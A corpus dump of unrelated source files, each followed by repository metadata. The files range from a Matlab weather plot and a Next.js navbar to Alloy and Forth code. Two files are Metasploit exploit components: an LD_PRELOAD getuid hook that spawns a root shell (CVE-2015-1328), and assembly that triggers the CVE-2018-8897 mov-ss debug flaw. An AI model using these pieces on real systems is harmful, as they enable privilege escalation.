Cell[92268, 1812, 693, 13, 81, "Subtitle",ExpressionUUID->"c65e7cba-0278-462a-aebc-b84ca6044482"],
Cell[CellGroupData[{
Cell[92986, 1829, 1345, 34, 52, "Input",ExpressionUUID->"92a6ef21-04bc-49b0-96cc-a124dad68b95"],
Cell[94334, 1865, 34283, 662, 248, "Output",ExpressionUUID->"53d5e037-810f-4be1-af7c-e6340c38f5c8"]
}, Open ]]
}, Open ]],
Cell[CellGroupData[{
Cell[128666, 2533, 611, 9, 58, "Subtitle",ExpressionUUID->"db386b88-be30-460a-b75a-1d41b70c7281"],
Cell[CellGroupData[{
Cell[129302, 2546, 993, 24, 52, "Input",ExpressionUUID->"d682d8a8-be84-4cf4-ad06-eab0eb9bf406"],
Cell[130298, 2572, 14915, 297, 246, "Output",ExpressionUUID->"393f68b1-2e07-49bd-af70-5506be4e3501"]
}, Open ]]
}, Open ]],
Cell[CellGroupData[{
Cell[145262, 2875, 533, 8, 58, "Subtitle",ExpressionUUID->"045f9ba7-7042-4131-aa82-83a0ff7d7fa9"],
Cell[145798, 2885, 1238, 25, 30, "Input",ExpressionUUID->"851efab9-f01a-475a-8d95-77e69d6f9c0a"],
Cell[147039, 2912, 904, 22, 73, "Input",ExpressionUUID->"0d1f1189-fad9-400c-9e17-e5482a4c2322"],
Cell[147946, 2936, 1136, 25, 30, "Input",ExpressionUUID->"855fad7a-8f45-4354-bb75-e67a2b286c92"],
Cell[CellGroupData[{
Cell[149107, 2965, 183, 2, 54, "Subsection",ExpressionUUID->"73c06730-74b6-43b8-bbae-03fce2232fe5"],
Cell[CellGroupData[{
Cell[149315, 2971, 702, 13, 30, "Input",ExpressionUUID->"d91a83c4-98b2-4295-b035-41873973424f"],
Cell[150020, 2986, 719, 18, 34, "Output",ExpressionUUID->"1901ebd8-db08-4e71-adc6-519ae5e56aa5"]
}, Open ]],
Cell[CellGroupData[{
Cell[150776, 3009, 264, 4, 30, "Input",ExpressionUUID->"a93ff78a-f224-4017-b55d-7b4cd854ced0"],
Cell[151043, 3015, 990, 25, 76, "Output",ExpressionUUID->"26d09ff2-cf12-4fb3-9ebe-32b6c8a7eaa6"]
}, Open ]],
Cell[CellGroupData[{
Cell[152070, 3045, 243, 4, 30, "Input",ExpressionUUID->"f2371d94-8139-464b-8536-6ff469961cf5"],
Cell[152316, 3051, 1001, 23, 154, "Output",ExpressionUUID->"08aa424d-300e-48e2-819e-26ecca9d5c7a"]
}, Open ]]
}, Open ]]
}, Open ]]
}
]
*)
| Mathematica | 5 | N500/filament | docs/math/RGB to LMSR.nb | [
"Apache-2.0"
] |
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0">
<PropertyGroup>
<RootNamespace>Sugar.Nougat.iOS.Test</RootNamespace>
<ProjectGuid>{e8cdf7d0-43b8-48f4-a06d-37748b1fa463}</ProjectGuid>
<OutputType>Executable</OutputType>
<AssemblyName>SugarTest</AssemblyName>
<AllowGlobals>False</AllowGlobals>
<AllowLegacyWith>False</AllowLegacyWith>
<AllowLegacyOutParams>False</AllowLegacyOutParams>
<AllowLegacyCreate>False</AllowLegacyCreate>
<AllowUnsafeCode>False</AllowUnsafeCode>
<Configuration Condition="'$(Configuration)' == ''">Release</Configuration>
<SDK>iOS</SDK>
<CreateAppBundle>True</CreateAppBundle>
<InfoPListFile>Main\iOS\Resources\Info.plist</InfoPListFile>
<DeploymentTargetVersion>6.0</DeploymentTargetVersion>
<Name>Sugar.Nougat.iOS.Test</Name>
<DefaultUses />
<StartupClass />
<CreateHeaderFile>False</CreateHeaderFile>
<BundleExtension />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)' == 'Debug' ">
<Optimize>False</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE;</DefineConstants>
<CaptureConsoleOutput>False</CaptureConsoleOutput>
<XmlDocWarningLevel>WarningOnPublicMembers</XmlDocWarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)' == 'Release' ">
<Optimize>true</Optimize>
<OutputPath>.\bin\Release</OutputPath>
<GenerateDebugInfo>False</GenerateDebugInfo>
<EnableAsserts>False</EnableAsserts>
<TreatWarningsAsErrors>False</TreatWarningsAsErrors>
<CaptureConsoleOutput>False</CaptureConsoleOutput>
<CreateIPA>True</CreateIPA>
</PropertyGroup>
<ItemGroup>
<Reference Include="CoreGraphics.fx" />
<Reference Include="Foundation.fx" />
<Reference Include="libEUnit.fx" />
<Reference Include="libsqlite3.fx">
<HintPath>C:\Program Files (x86)\RemObjects Software\Elements\Nougat\Libraries\libsqlite3\iOS\libsqlite3.fx</HintPath>
</Reference>
<Reference Include="libxml2.fx" />
<Reference Include="UIKit.fx" />
<Reference Include="rtl.fx" />
<Reference Include="libNougat.fx" />
</ItemGroup>
<ItemGroup>
<Compile Include="Main\iOS\Program.pas" />
</ItemGroup>
<ItemGroup>
<Content Include="Main\iOS\Resources\Info.plist" />
<AppResource Include="Main\iOS\Resources\App Icons\App-29.png" />
<AppResource Include="Main\iOS\Resources\App Icons\App-48.png" />
<AppResource Include="Main\iOS\Resources\App Icons\App-57.png" />
<AppResource Include="Main\iOS\Resources\App Icons\App-58.png" />
<AppResource Include="Main\iOS\Resources\App Icons\App-72.png" />
<AppResource Include="Main\iOS\Resources\App Icons\App-96.png" />
<AppResource Include="Main\iOS\Resources\App Icons\App-114.png" />
<AppResource Include="Main\iOS\Resources\App Icons\App-144.png" />
<None Include="Main\iOS\Resources\App Icons\App-512.png" />
<None Include="Main\iOS\Resources\App Icons\App-1024.png" />
<AppResource Include="Main\iOS\Resources\Launch Images\Default.png" />
<AppResource Include="Main\iOS\Resources\Launch Images\[email protected]" />
<AppResource Include="Main\iOS\Resources\Launch Images\[email protected]" />
<AppResource Include="Main\iOS\Resources\Launch Images\Default-Portrait.png" />
<AppResource Include="Main\iOS\Resources\Launch Images\[email protected]" />
<AppResource Include="Main\iOS\Resources\Launch Images\Default-Landscape.png" />
<AppResource Include="Main\iOS\Resources\Launch Images\[email protected]" />
</ItemGroup>
<ItemGroup>
<Folder Include="Main\" />
<Folder Include="Main\iOS\" />
<Folder Include="Properties\" />
<Folder Include="Main\iOS\Resources\" />
<Folder Include="Main\iOS\Resources\App Icons\" />
<Folder Include="Main\iOS\Resources\Launch Images\" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\Sugar.Data\Sugar.Data.Nougat.iOS.oxygene">
<Name>Sugar.Data.Nougat.iOS</Name>
<Project>{15939baf-3d02-4074-a4f1-6adbd2a5f28d}</Project>
<Private>True</Private>
<HintPath>..\Sugar.Data\bin\iOS Simulator\libSugar.Data.fx</HintPath>
</ProjectReference>
<ProjectReference Include="..\Sugar\Sugar.Nougat.iOS.oxygene">
<Name>Sugar.Nougat.iOS</Name>
<Project>{91b301fc-331e-48a7-803b-4cbe3fff6ed7}</Project>
<Private>True</Private>
<HintPath>..\Sugar\bin\iOS Simulator\libSugar.fx</HintPath>
</ProjectReference>
</ItemGroup>
<Import Project="$(MSBuildExtensionsPath)\RemObjects Software\Oxygene\RemObjects.Oxygene.Nougat.targets" />
<PropertyGroup>
<PreBuildEvent />
</PropertyGroup>
<Import Project="..\Sugar.Tests\Sugar.Shared.Test.projitems" Label="Shared" />
</Project> | Oxygene | 3 | mosh/sugar | Sugar.Tests/Sugar.Nougat.iOS.Test.oxygene | [
"BSD-3-Clause"
] |
Strict
Import mojo
Class Timer
Private
Field duration:Float
Field timeLeft:Int
Field active:Bool = False
Field lastTime:Int
Field callback:TimerCompleteListener
Public
Method Alarm:Void(time:Int, onComplete:TimerCompleteListener)
duration = time
timeLeft = time
active = True
callback = onComplete
lastTime = Millisecs()
End Method
Method AddTime:Void(time:Int)
timeLeft += time
If (timeLeft > duration) timeLeft = duration
End Method
Method Update:Void()
If (Not active) Return
timeLeft -= (Millisecs() -lastTime)
lastTime = Millisecs()
If (timeLeft <= 0) Then
callback.OnTimerComplete()
active = False
End if
End Method
Method Percent:Float() Property
Return timeLeft / duration
End Method
End Class
Interface TimerCompleteListener
Method OnTimerComplete:Void()
End Interface | Monkey | 4 | blitz-research/monkey | bananas/devolonter/matchup/src/timer.monkey | [
"Zlib"
] |
include template: 'includes/include.tpl'
p('Hallo Spring') | Smarty | 1 | nicchagil/spring-framework | spring-webmvc/src/test/resources/org/springframework/web/servlet/view/groovy/i18n_de_DE.tpl | [
"Apache-2.0"
] |
% Read temperature data from a ThingSpeak channel for three seperate days
% and visualize the data in a single plot using the PLOT function.
% Channel ID to read data from
readChannelID = 645847;
% Temperature Field ID
TemperatureFieldID = 4;
% Channel Read API Key
% If your channel is private, then enter the read API
% Key between the '' below:
readAPIKey = '';
%sdfsdf
% Specify date range
dateRange = [datetime('today')-days(7),datetime('today')];
% Read data including the timestamp, and channel information.
[data,time,channelInfo] = thingSpeakRead(readChannelID,'Fields',1:4,...
'DateRange',dateRange);
% Create variables to store different sorts of data
temperatureData = data(:,1);
humidityData = data(:,3);
pressureData = data(:,2);
batteryData = data(:,4);
% Create a day range vector
dayRange = day(dateRange(1):dateRange(2));
% Pre-allocate matrix
weatherData = zeros(length(dayRange),24);
% Generate temperature 3D bar chart
% Get temperature per whole clock for each day
for m = 1:length(dayRange) % Loop over all days
for n = 1:24 % Loop over 24 hours
if any(day(time)==dayRange(m) & hour(time)==n); % Check if data exist for this specific time
hourlyData = temperatureData((day(time)==dayRange(m) & hour(time)==n)); % Pull out the hourly temperature from the matrix
weatherData(m,n) = hourlyData(1); % Assign the temperature at the time closest to the whole clock
end
end
end
% Plot
figure
h = bar3(datenum(dateRange(1):dateRange(2)), weatherData);
for k = 1:length(h) % Change the face color for each bar
h(k).CData = h(k).ZData;
h(k).FaceColor = 'interp';
end
title('Temperature Distribution')
xlabel('Hour of Day')
ylabel('Date')
datetick('y','mmm dd') % Change the Y-Tick to display specified date format
ax = gca;
ax.XTick = 1:24
ax.XTickLabels = 1:24
ax.YTickLabelRotation = 30; % Rotate label for better display
colorbar % Add a color bar to indicate the scaling of color
| Matlab | 5 | wilyarti/weather_station | temperature.matlab | [
"BSD-2-Clause"
] |
#include <unistd.h>
uid_t(*_real_getuid) (void);
char path[128];
uid_t getuid(void){
_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
readlink("/proc/self/exe", (char *) &path, 128);
if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execle("/bin/sh", "sh", "-i", NULL, NULL);
}
return _real_getuid();
}
| C | 1 | OsmanDere/metasploit-framework | external/source/exploits/CVE-2015-1328/ofs-lib.c | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
import Link from 'next/link'
import { useUser } from '../lib/hooks'
export default function Navbar() {
const [user, { mutate }] = useUser()
async function handleLogout() {
await fetch('/api/logout')
mutate({ user: null })
}
return (
<header>
<nav>
<ul>
<li>
<Link href="/">
<a>Home</a>
</Link>
</li>
{user ? (
<>
<li>
<Link href="/profile">
<a>Profile</a>
</Link>
</li>
<li>
<a role="button" onClick={handleLogout}>
Logout
</a>
</li>
</>
) : (
<>
<li>
<Link href="/signup">
<a>Sign up</a>
</Link>
</li>
<li>
<Link href="/login">
<a>Login</a>
</Link>
</li>
</>
)}
</ul>
</nav>
<style jsx>{`
nav {
max-width: 42rem;
margin: 0 auto;
padding: 0.2rem 1.25rem;
}
ul {
display: flex;
list-style: none;
margin-left: 0;
padding-left: 0;
}
li {
margin-right: 1rem;
}
li:first-child {
margin-left: auto;
}
a {
color: #fff;
text-decoration: none;
cursor: pointer;
}
header {
color: #fff;
background-color: #333;
}
`}</style>
</header>
)
}
| JavaScript | 4 | blomqma/next.js | examples/with-passport-and-next-connect/components/Navbar.js | [
"MIT"
] |
const i32 a = 1
const i32 b = 2
const i32 c =
| Thrift | 0 | JonnoFTW/thriftpy2 | tests/parser-cases/e_grammer_error_at_eof.thrift | [
"MIT"
] |
<div class="tutorial-link-element">
<h4 class="tutorial-link-title"><a href="{% root %}{{ link }}">{{ c-title }}</a></h4>
<div class="tutorial-link-copy">{{ c-copy }}</div>
</div> | Liquid | 3 | noahcb/lit | website/src/_includes/partials/tutorial-link-element.liquid | [
"Apache-2.0"
] |
from Crypto.Util.number import *
from sage.all import *
c1 = 4249729541274832324831915101850978041491970958978013333892918723306168770472089196478720527554982764987079625218029445015042835412969986610407794962546486526768377464483162272541733624521350257458334912357961557141551376502679112069746250223130120067678503609054343306910481618502449487751467838568736395758064426403381068760701434585433915614901796040740316824283643177505677105619002929103619338876322183416750542848507631412106633630984867562243228659040403724671325236096319784525457674398019860558530212905126133378508676777200538275088387251038714220361173376355185449239483472545370043145325106307606431828449482078191
c2 = 13075855845498384344820257559893309320125843093107442572680776872299102248743866420640323500087788163238819301260173322187978140866718036292385520509724506487692001245730298675731681509412177547061396861961413760298064385526657135656283464759479388590822600747903100354135682624356454872283852822117199641700847558605700370117557855396952083088645477966782338316017387406733063346986224014837246404581562813312855644424128648363175792786282857154624788625411070173092512834181678732914231669616670515512774709315620233482515821178277673737845032672993814500177126048019814877397547310166915188341668439101769932492677363463422
flag = 1325070956009103489249194637347510588506729608784127511926628895543304940415297099207601498626181915901848862854995077315475674257593360012633818395699000501896896712855638114932274873636706679536094148084825113213348693669110684534612150434985589138003619494080556587882502882245480530148296233019306164832959924719530089539412878605051284492900919153291539285764067215954480046474237129247005910958854570936626494664674014970792183182621261776942952172643573955950074108555363333808330455648256916095619261620286120748266415219259665310637340092503523139379869446053982200858497231506892485419429178671743186148288407233657
m1 = bytes_to_long("You can't factor the modulus")
m2 = bytes_to_long("If you don't know the modulus!")
e = 65537
N = 34825223743402829383680359547814183240817664070909938698674658390374124787235739502688056639022131897715513587903467527066065545399622834534513631867145432553730850980331789931667370903396032758515681278057031496814054828419443822343986117760958186984521716807347123949922837482460532728350223473430713058522361175980521908817215812291272284241848086260180382693014713901303747444753828636575351349026883294939561001468099252543181336195746032718177937417431101756313823635150129601855358558635996348271242920308406268552606733676301725088348399264293936151662467456410825402303921583389167882090767423931762347825907802328053
c = flag
hidden = 500
tmp = isqrt((N)/(0xdead * 0xbeef))
print "tmp: ", tmp
q_approx = 0xbeef*tmp - 2**500
print q_approx
F.<x> = PolynomialRing(Zmod(N), implementation='NTL')
f = x - q_approx
roots = f.small_roots(X=2**hidden, beta=0.1)
for delta in roots:
print('delta', delta)
print('q_approx - delta', q_approx-delta)
q = q_approx-delta
p = int(N)/int(q)
d = inverse_mod(65537, (p-1)*(q-1))
print("d", d)
decrypted = hex(int(pow(c,d,N)))
print('flag =', decrypted[2:-1].decode("hex"))
| Sage | 4 | amoniaka-knabino/Crypton | RSA-encryption/Attack-Coppersmith/Challenges/Really-Suspicious-Acronym/exploit.sage | [
"MIT"
] |
[{
"http://example.org/p1": [{"@value": "v1"}],
"http://example.org/p2": [
{"@value": "v2"},
{"@value": "v3"},
{"@value": "v4"},
{"@value": "v5"}
]
}] | JSONLD | 1 | fsteeg/json-ld-api | tests/expand/n007-out.jsonld | [
"W3C"
] |
.code
__swapgs PROC
swapgs
ret
__swapgs ENDP
__rollback_isr PROC
mov rdx, [rsp] ; rdx = Return pointer
lea r8, [rsp+8h] ; r8 = Old stack
mov [rcx], rdx ; isr stack.rip = Return pointer
mov [rcx+18h], r8 ; isr stack.rsp = Old stack
mov rsp, rcx ; stack = isr stack
iretq ; return
__rollback_isr ENDP
__set_gs_base PROC
wrgsbase rcx
ret
__set_gs_base ENDP
__readss PROC
xor eax, eax
mov ax, ss
ret
__readss ENDP
__read_gs_base PROC
rdgsbase rax
ret
__read_gs_base ENDP
__triggervuln PROC
mov [rcx+8*0], r12 ; save registers
mov [rcx+8*1], r13
mov [rcx+8*2], r14
mov [rcx+8*3], r15
mov [rcx+8*4], rdi
mov [rcx+8*5], rsi
mov [rcx+8*6], rbx
mov [rcx+8*7], rbp
mov [rcx+8*8], rsp
pushfq
pop [rcx+8*9]
mov ss, word ptr [rdx] ; Defer debug exception
int 3 ; Execute with interrupts disabled
nop
nop
nop
nop
mov r12, [rcx+8*0] ; load registers
mov r13, [rcx+8*1]
mov r14, [rcx+8*2]
mov r15, [rcx+8*3]
mov rdi, [rcx+8*4]
mov rsi, [rcx+8*5]
mov rbx, [rcx+8*6]
mov rbp, [rcx+8*7]
mov rsp, [rcx+8*8]
push [rcx+8*9]
popfq
ret
__triggervuln ENDP
__setxmm0 PROC
movups xmm0, [rcx]
ret
__setxmm0 ENDP
__setxmm1 PROC
movups xmm1, [rcx]
ret
__setxmm1 ENDP
__setxmm2 PROC
movups xmm2, [rcx]
ret
__setxmm2 ENDP
__setxmm3 PROC
movups xmm3, [rcx]
ret
__setxmm3 ENDP
__setxmm4 PROC
movups xmm4, [rcx]
ret
__setxmm4 ENDP
__setxmm5 PROC
movups xmm5, [rcx]
ret
__setxmm5 ENDP
__setxmm6 PROC
movups xmm6, [rcx]
ret
__setxmm6 ENDP
__setxmm7 PROC
movups xmm7, [rcx]
ret
__setxmm7 ENDP
__setxmm8 PROC
movups xmm8, [rcx]
ret
__setxmm8 ENDP
__setxmm9 PROC
movups xmm9, [rcx]
ret
__setxmm9 ENDP
__setxmm10 PROC
movups xmm10, [rcx]
ret
__setxmm10 ENDP
__setxmm11 PROC
movups xmm11, [rcx]
ret
__setxmm11 ENDP
__setxmm12 PROC
movups xmm12, [rcx]
ret
__setxmm12 ENDP
__setxmm13 PROC
movups xmm13, [rcx]
ret
__setxmm13 ENDP
__setxmm14 PROC
movups xmm14, [rcx]
ret
__setxmm14 ENDP
__setxmm15 PROC
movups xmm15, [rcx]
ret
__setxmm15 ENDP
end
| Assembly | 3 | OsmanDere/metasploit-framework | external/source/exploits/cve-2018-8897/exe/Native.asm | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
\ Iterative factorial function.
." Defining fact function ... "
: fact ( n -- n! )
dup 2 < if drop 1 else
dup begin 1- swap over * swap dup 1 = until
drop then
; ." done." cr
." 1! = " 1 fact . cr
." 2! = " 2 fact . cr
." 3! = " 3 fact . cr
." 4! = " 4 fact . cr
." 5! = " 5 fact . cr
." 6! = " 6 fact . cr
." 7! = " 7 fact . cr
." 8! = " 8 fact . cr
." 9! = " 9 fact . cr
." 10! = " 10 fact . cr
." 11! = " 11 fact . cr
." 12! = " 12 fact . cr
halt
| Forth | 4 | 610t/retrobsd | src/cmd/forth/fact.fth | [
"BSD-3-Clause"
] |
--TEST--
JIT JMPZ: Separate JMPZ for "smart branch" may be only emitted by function JIT
--INI--
opcache.enable=1
opcache.enable_cli=1
opcache.file_update_protection=0
opcache.jit_buffer_size=1M
opcache.protect_memory=1
--FILE--
<?php
function test($b) {
if ($b ? 0 : (X>0)){
echo "Not taken\n";
}
}
test(true);
?>
DONE
--EXPECT--
DONE
| PHP | 1 | NathanFreeman/php-src | ext/opcache/tests/jit/jmpz_002.phpt | [
"PHP-3.01"
] |
### Compilation failed:
error: 3: Unsupported texture dimensions
1 error
| Metal | 0 | rhencke/engine | src/third_party/skia/tests/sksl/shared/golden/TextureSharpen.metal | [
"BSD-3-Clause"
] |
module chapter4/filesystem ----- The model from page 125
abstract sig Object {}
sig Dir extends Object {contents: set Object}
one sig Root extends Dir { }
sig File extends Object {}
fact {
Object in Root.*contents
}
assert SomeDir {
all o: Object - Root | some contents.o
}
check SomeDir // This assertion is valid
assert RootTop {
no o: Object | Root in o.contents
}
check RootTop // This assertion should produce a counterexample
assert FileInDir {
all f: File | some contents.f
}
check FileInDir // This assertion is valid
| Alloy | 4 | Kaixi26/org.alloytools.alloy | org.alloytools.alloy.extra/extra/models/book/chapter4/filesystem.als | [
"Apache-2.0"
] |
1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -45.00
0.00 1.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -79.00
1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -54.00
0.00 1.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -88.00
1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -23.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -26.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -90.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -27.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -86.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -99.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -48.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -63.00
1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -12.00
-1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -20.00
0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -14.00
0.00 -1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -40.00
